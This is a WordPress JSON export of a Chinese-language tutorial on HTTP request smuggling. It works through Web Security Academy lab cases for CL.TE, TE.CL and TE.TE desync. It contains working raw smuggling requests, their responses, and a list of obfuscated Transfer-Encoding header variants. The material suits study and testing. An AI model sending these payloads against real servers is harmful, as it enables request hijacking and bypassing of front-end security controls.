{"id":1172,"date":"2023-02-03T13:35:00","date_gmt":"2023-02-03T05:35:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1172"},"modified":"2026-01-20T21:18:26","modified_gmt":"2026-01-20T13:18:26","slug":"request-smuggling","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1172","title":{"rendered":"Request Smuggling"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>\u8acb\u6c42\u8d70\u79c1\u653b\u64ca\u53ef\u8b93\u653b\u64ca\u8005\u5c0e\u81f4\u5176\u524d\u7aef\u8acb\u6c42\u7684\u4e00\u90e8\u5206\u88ab\u5f8c\u7aef\u4f3a\u670d\u5668\u89e3\u91cb\u70ba\u4e0b\u4e00\u500b\u8acb\u6c42\u7684\u958b\u59cb\uff0c\u56e0\u6b64\u53ef\u80fd\u6703\u5e79\u64fe\u61c9\u7528\u7a0b\u5f0f\u8655\u7406\u8a72\u8acb\u6c42\u7684\u65b9\u5f0f\uff0c\u9020\u6210\u707d\u96e3\u6027\u7684\u5f8c\u679c\u3002<\/p>\n\n\n\n<p>\u4e3b\u8981\u51fa\u73fe\u5728\u524d\u7aef\u670d\u52d9\u5668\u548c\u5f8c\u7aef\u670d\u52d9\u5668\u5c0d\u8acb\u6c42\u7684\u89e3\u8b80\u4e0d\u540c\uff0c\u56e0\u70ba HTTP\/1.1 \u898f\u7bc4\u63d0\u4f9b\u4e86\u5169\u7a2e\u4e0d\u540c\u7684\u65b9\u5f0f\u4f86\u6307\u5b9a\u8acb\u6c42\u7684\u7d50\u675f\u4f4d\u7f6e\uff1a<\/p>\n\n\n\n<p><code>Content-Length<\/code>\u6307\u5b9a\u8a0a\u606f\u6b63\u6587\u7684\u9577\u5ea6\uff08\u4ee5byte\u70ba\u55ae\u4f4d\uff09\u3002\u4f8b\u5982\u4ee5\u4e0b\uff0cContent-Length: 11\u8868\u793a\u5167\u5bb9\u9577\u5ea611byte\u70ba\u4e00\u500b\u8acb\u6c42\uff0c\u6240\u4ee5\u76f4\u5230q=smuggling\u90fd\u662f\u6574\u500b\u8acb\u6c42\u5305\u7684\u5167\u5bb9\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/search HTTP\/1.1\nHost: normal-website.com\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 11\n\nq=smuggling<\/code><\/pre>\n\n\n\n<p><code>Transfer-Encoding<\/code>\u7528\u65bc\u6307\u5b9a\u8a0a\u606f\u6b63\u6587\u4f7f\u7528\u5206\u584a\u7de8\u78bc\u3002\u9019\u610f\u5473\u8457\u8a0a\u606f\u6b63\u6587\u5305\u542b\u4e00\u500b\u6216\u591a\u500b\u8cc7\u6599\u584a\u3002\u6bcf\u500b\u5340\u584a\u4ee5byte\u70ba\u55ae\u4f4d\uff0c\u5f8c\u9762\u8ddf\u8457\u63db\u884c\u7b26\uff0c\u7136\u5f8c\u662f\u5340\u584a\u5167\u5bb9\u3002<code>0\\r\\n\\r\\n<\/code>\u4ee3\u8868\u8a0a\u606f\u7d50\u675f\uff0c\u5982\u4e0b\u6240\u793a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/search HTTP\/1.1\nHost: normal-website.com\nContent-Type: application\/x-www-form-urlencoded\nTransfer-Encoding: chunked\n\nb\nq=smuggling\n0\n <\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">CL.TE\u6f0f\u6d1e<\/h2>\n\n\n\n<p>\u7576\u524d\u7aef\u4f3a\u670d\u5668\u4f7f\u7528<code>Content-Length<\/code>\u6a19\u982d\uff0c\u5f8c\u7aef\u4f3a\u670d\u5668\u4f7f\u7528<code>Transfer-Encoding<\/code>\u6a19\u982d\uff0c\u53ef\u4ee5\u4f7f\u7528CL.TE\u6f0f\u6d1e\u653b\u64ca\u3002<\/p>\n\n\n\n<p>\u7b2c\u4e00\u6b21\u8acb\u6c42\u5982\u4e0b\uff0c\u5728\u524d\u7aef\u4f3a\u670d\u5668\u773c\u4e2d\u662f1\u500b\u8acb\u6c42 <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ##############\nPOST \/ HTTP\/1.1\nHost: aced1f271e82c40580c8869d006b00dd.web-security-academy.net\nConnection: keep-alive\nContent-Type: application\/x-www-form-urlencoded\n<strong>Content-Length: 6\nTransfer-Encoding: chunked<\/strong>\n\n0\n\nG\n########### response ##############\nHTTP\/1.1 200 OK\n...omit...<\/code><\/pre>\n\n\n\n<p>\u4ee5\u4e0a\u8acb\u6c42\u5728\u5f8c\u7aef\u670d\u52d9\u5668\u7528TE\u505a\u8a08\u7b97\u5c31\u4e0d\u662f1\u500b\u8acb\u6c42\uff0c\u56e0\u70baTE\u5728\u7b2c\u4e00\u500b\u5340\u584a\u770b\u5230<code>0\\r\\n\\r\\n<\/code>\uff0c\u6240\u4ee5\u88ab\u8996\u70ba\u7d42\u6b62\u8acb\u6c42\uff0c\u6700\u5f8c\u5f8c\u7aef\u670d\u5668\u8996\u70ba\u4ee5\u4e0b2\u500b\u8acb\u6c42<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8acb\u6c421-1\uff1a<code>0\\r\\n\\r\\n<\/code>\u524d\u7684\u5167\u5bb9\uff0c\u5c31\u662fG\u4e4b\u524d\u7684\u5167\u5bb9\uff0c\u7136\u5f8c\u5c07\u7d50\u679c<code>HTTP\/1.1 200 OK<\/code>\u8fd4\u56de <\/li>\n\n\n\n<li>\u8acb\u6c421-2\uff1a<code>0\\r\\n\\r\\n<\/code>\u5f8c\u7684\u5167\u5bb9\uff0c\u4e5f\u5c31\u662f\u5305\u542bG\u4e4b\u5f8c\u7684\u5167\u5bb9<\/li>\n<\/ul>\n\n\n\n<p>\u7b2c\u4e8c\u6b21\u9001\u51fa\u8acb\u6c42\u5982\u4e0b\uff0c\u5f9e\u8fd4\u56de\u7d50\u679c\u770b\u5230\uff0c\u524d\u9762\u8acb\u6c42\u7684\u4e00\u90e8\u5206\uff08G\uff09\u88ab\u5f8c\u7aef\u4f3a\u670d\u5668\u89e3\u91cb\u70ba\u4e0b\u4e00\u500b\u8acb\u6c42\u7684\u958b\u59cb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ##############\nPOST \/ HTTP\/1.1\nHost: aced1f271e82c40580c8869d006b00dd.web-security-academy.net\nConnection: keep-alive\nContent-Type: application\/x-www-form-urlencoded\n\n########### response ##############\nHTTP\/1.1 403 Forbidden\nContent-Type: application\/json; charset=utf-8\nConnection: close\nKeep-Alive: timeout=0\nContent-Length: 27\n\n\"Unrecognized method GPOST\"<\/code><\/pre>\n\n\n\n<p>\u525b\u525b\u8acb\u6c421-2\u7684G\uff0c\u52a0\u4e0a\u65b0\u4f86\u7684\u7b2c\u4e8c\u500b\u8acb\u6c42\uff0c\u5728\u5f8c\u7aef\u670d\u52d9\u5668\u88ab\u8996\u70ba\u4ee5\u4e0b\u5167\u5bb9\uff0c\u56e0\u6b64\u624d\u6703\u8fd4\u56de&#8221;Unrecognized method GPOST&#8221;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GPOST \/ HTTP\/1.1\nHost: aced1f271e82c40580c8869d006b00dd.web-security-academy.net\nConnection: keep-alive\nContent-Type: application\/x-www-form-urlencoded<\/code><\/pre>\n\n\n\n<p>Lab: HTTP request smuggling, basic CL.TE vulnerability<br>Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">TE.CL\u6f0f\u6d1e<\/h2>\n\n\n\n<p>\u524d\u7aef\u4f3a\u670d\u5668\u4f7f\u7528<code>Transfer-Encoding<\/code>\u6a19\u982d\uff0c\u5f8c\u7aef\u4f3a\u670d\u5668\u4f7f\u7528<code>Content-Length<\/code>\u6a19\u982d\uff0c\u53ef\u4ee5\u4f7f\u7528TE.CL\u6f0f\u6d1e\u653b\u64ca\u3002<\/p>\n\n\n\n<p>\u7b2c\u4e00\u6b21\u8acb\u6c42\u5982\u4e0b\uff0c\u5728\u524d\u7aef\u670d\u52d9\u5668\u7684\u773c\u4e2d\u662f\u4e00\u500b\u8acb\u6c42\uff0c\u5b83\u8655\u7406\u7b2c\u4e00\u500b\u5340\u584a\uff0c\u8a72\u5340\u584a\u7684\u9577\u5ea6\u70ba 8byte\uff0c\u5b83\u8655\u7406\u7b2c\u4e8c\u500b\u5340\u584a\uff0c\u8a72\u5340\u584a\u8072\u660e<code>0\\r\\n\\r\\n<\/code>\uff0c\u56e0\u6b64\u88ab\u8996\u70ba\u7d42\u6b62\u8acb\u6c42\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ##############\nPOST \/ HTTP\/1.1\nHost: aca51f5c1ed5494080cc042200ff00e6.web-security-academy.net\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 4\nTransfer-Encoding: chunked\n\n5c\nGPOST \/ HTTP\/1.1\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 15\n\nx=1\n0\n\n########### response ##############\nHTTP\/1.1 200 OK\n...omit...<\/code><\/pre>\n\n\n\n<p>\u4f46\u5728\u5f8c\u7aef\u670d\u52d9\u5668\u7528CL\u505a\u8a08\u7b97\u5c31\u4e0d\u662f\u4e00\u500b\u8acb\u6c42\uff0c\u56e0\u70baCL\u770b\u5230\u9577\u5ea6\u70ba4\uff0c\u6700\u5f8c\u88ab\u8996\u70ba\u4ee5\u4e0b2\u500b\u8acb\u6c42<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8acb\u6c421-1\uff1a4byte\u7684\u5167\u5bb9\uff0c\u5305\u542b5c\u4e4b\u524d\u7684\u5167\u5bb9\uff0c\u7136\u5f8c\u5c07\u7d50\u679c<code>HTTP\/1.1 200 OK<\/code>\u8fd4\u56de <\/li>\n\n\n\n<li>\u8acb\u6c421-2\uff1a4byte\u5f8c\u7684\u5167\u5bb9\uff0c\u5c31\u662f5c\u4e4b\u5f8c\u7684\u5167\u5bb9<\/li>\n<\/ul>\n\n\n\n<p>\u7b2c\u4e8c\u6b21\u8acb\u6c42\u5982\u4e0b\uff0c\u5f9e\u8fd4\u56de\u7d50\u679c\u770b\u5230\uff0c\u524d\u9762\u8acb\u6c42\u7684\u4e00\u90e8\u5206\uff08G\uff09\u88ab\u5f8c\u7aef\u4f3a\u670d\u5668\u89e3\u91cb\u70ba\u4e0b\u4e00\u500b\u8acb\u6c42\u7684\u958b\u59cb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ##############\nPOST \/ HTTP\/1.1\nHost: aca51f5c1ed5494080cc042200ff00e6.web-security-academy.net\nContent-Type: application\/x-www-form-urlencoded\n\n########### response ##############\nHTTP\/1.1 403 Forbidden\nContent-Type: application\/json; charset=utf-8\nConnection: close\nKeep-Alive: timeout=0\nContent-Length: 27\n\n\"Unrecognized method GPOST\"<\/code><\/pre>\n\n\n\n<p>\u525b\u525b\u8acb\u6c421-2\u7684G\uff0c\u52a0\u4e0a\u65b0\u4f86\u7684\u7b2c\u4e8c\u500b\u8acb\u6c42\uff0c\u5728\u5f8c\u7aef\u670d\u52d9\u5668\u88ab\u8996\u70ba\u4ee5\u4e0b\u5167\u5bb9\uff0c\u56e0\u6b64\u624d\u6703\u8fd4\u56de&#8221;Unrecognized method GPOST&#8221;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GPOST \/ HTTP\/1.1\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 15\n\nx=1\n0\nPOST \/ HTTP\/1.1\n...omit...<\/code><\/pre>\n\n\n\n<p>Lab: HTTP request smuggling, basic TE.CL vulnerability<br>Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">TE.TE\u6f0f\u6d1e<\/h2>\n\n\n\n<p>\u5982\u679c\u524d\u7aef\u548c\u5f8c\u7aef\u4f3a\u670d\u5668\u90fd\u652f\u63f4<code>Transfer-Encoding<\/code>\u6a19\u982d\uff0c\u53ef\u4ee5\u900f\u904e\u4ee5\u67d0\u7a2e\u65b9\u5f0f\u6df7\u6dc6\u6a19\u982d\u4f86\u8a98\u5c0e\u5176\u4e2d\u4e00\u53f0\u4f3a\u670d\u5668\u4e0d\u8655\u7406\u5b83<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transfer-Encoding: xchunked\nTransfer-Encoding : chunked\nTransfer-Encoding: chunked\nTransfer-Encoding: x\nTransfer-Encoding:&#91;tab]chunked\n&#91;space]Transfer-Encoding: chunked\nX: X&#91;\\n]Transfer-Encoding: chunked\nTransfer-Encoding\n: chunked<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u8209\u4f8b\u5982\u4e0b\uff0c\u5047\u5982\u76ee\u6a19\u524d\u7aef\u4f3a\u670d\u5668\u4f7f\u7528<code>Transfer-Encoding<\/code>\u6a19\u982d\uff0c\u5f8c\u7aef\u4f3a\u670d\u5668\u4e5f\u4f7f\u7528<code>Transfer-Encoding<\/code>\u6a19\u982d\uff0c<\/p>\n\n\n\n<p>\u7b2c\u4e00\u6b21\u8acb\u6c42\u5982\u4e0b\uff0c\u5728\u524d\u7aef\u670d\u52d9\u5668\u7684\u773c\u4e2d\u662f\u4e00\u500b\u8acb\u6c42\uff0c\u6700\u5f8c\u8a72\u5340\u584a\u8072\u660e<code>0\\r\\n\\r\\n<\/code>\uff0c\u56e0\u6b64\u88ab\u8996\u70ba\u7d42\u6b62\u8acb\u6c42\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/ HTTP\/1.1\nHost: ac041fb51f8fe016806c19a5000a006c.web-security-academy.net\nContent-Type: application\/x-www-form-urlencoded\nContent-length: 4\nTransfer-Encoding: chunked\nTransfer-encoding: cow\n\n5c\nGPOST \/ HTTP\/1.1\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 15\n\nx=1\n0 \n<\/code><\/pre>\n\n\n\n<p>\u4f46\u7531\u65bc\u5f8c\u7aef\u670d\u52d9\u5668\u4f7f\u7528\u7b2c2\u500b<code>Transfer-encoding<\/code>\u505a\u5224\u65b7\uff0c\u7d50\u679c\u767c\u73fe\u683c\u5f0f\u6709\u554f\u984c\uff0c\u56e0\u6b64\u5207\u63db\u70ba\u4f7f\u7528CL\u505a\u5224\u65b7\uff0c\u56e0\u6b64\u89e3\u8b80\u70ba2\u500b\u8acb\u6c42<\/p>\n\n\n\n<p>\u8acb\u6c421-1\u70ba4byte\u7684\u5167\u5bb9\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/ HTTP\/1.1\nHost: ac041fb51f8fe016806c19a5000a006c.web-security-academy.net\nContent-Type: application\/x-www-form-urlencoded\nContent-length: 4\nTransfer-Encoding: chunked\nTransfer-encoding: cow\n\n5c<\/code><\/pre>\n\n\n\n<p>\u8acb\u6c421-2\u70ba4byte\u5f8c\u7684\u5167\u5bb9\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GPOST \/ HTTP\/1.1\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 15\n\nx=1\n0<\/code><\/pre>\n\n\n\n<p>\u7b2c\u4e8c\u6b21\u8acb\u6c42\u6642\u6703\u8fd4\u56de\u5982\u4e0b\uff0c\u4f46\u5176\u5be6\u662f\u5c07\u525b\u525b\u7684\u8acb\u6c421-2\u7684\u7d50\u679c\u8fd4\u56de<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 403 Forbidden\nContent-Type: application\/json; charset=utf-8\nConnection: close\nKeep-Alive: timeout=0\nContent-Length: 27\n\n\"Unrecognized method GPOST\"<\/code><\/pre>\n\n\n\n<p>Lab: HTTP request smuggling, obfuscating the TE header<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p>\u66f4\u591a\u653b\u64ca\u624b\u6cd5\u53ef\u53c3\u8003\u4ee5\u4e0b\u6587\u7ae0 <\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-wp-embed\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"nBjZCR1zWp\"><a href=\"https:\/\/systw.net\/note\/archives\/1179\">Request Smuggling Attack<\/a><\/blockquote><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"Request Smuggling Attack &#8212; \u725b\u7684\u5927\u8166\" src=\"https:\/\/systw.net\/note\/archives\/1179\/embed#?secret=FJYx9QPrFu#?secret=nBjZCR1zWp\" data-secret=\"nBjZCR1zWp\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u8acb\u6c42\u8d70\u79c1\u653b\u64ca\u53ef\u8b93\u653b\u64ca\u8005\u5c0e\u81f4\u5176\u524d\u7aef\u8acb\u6c42\u7684\u4e00\u90e8\u5206\u88ab\u5f8c\u7aef\u4f3a\u670d\u5668\u89e3\u91cb &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[368],"tags":[],"class_list":["post-1172","post","type-post","status-publish","format-standard","hentry","category-operations"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1172","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1172"}],"version-history":[{"count":1,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1172\/revisions"}],"predecessor-version":[{"id":3000,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1172\/revisions\/3000"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1172"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1172"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1172"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}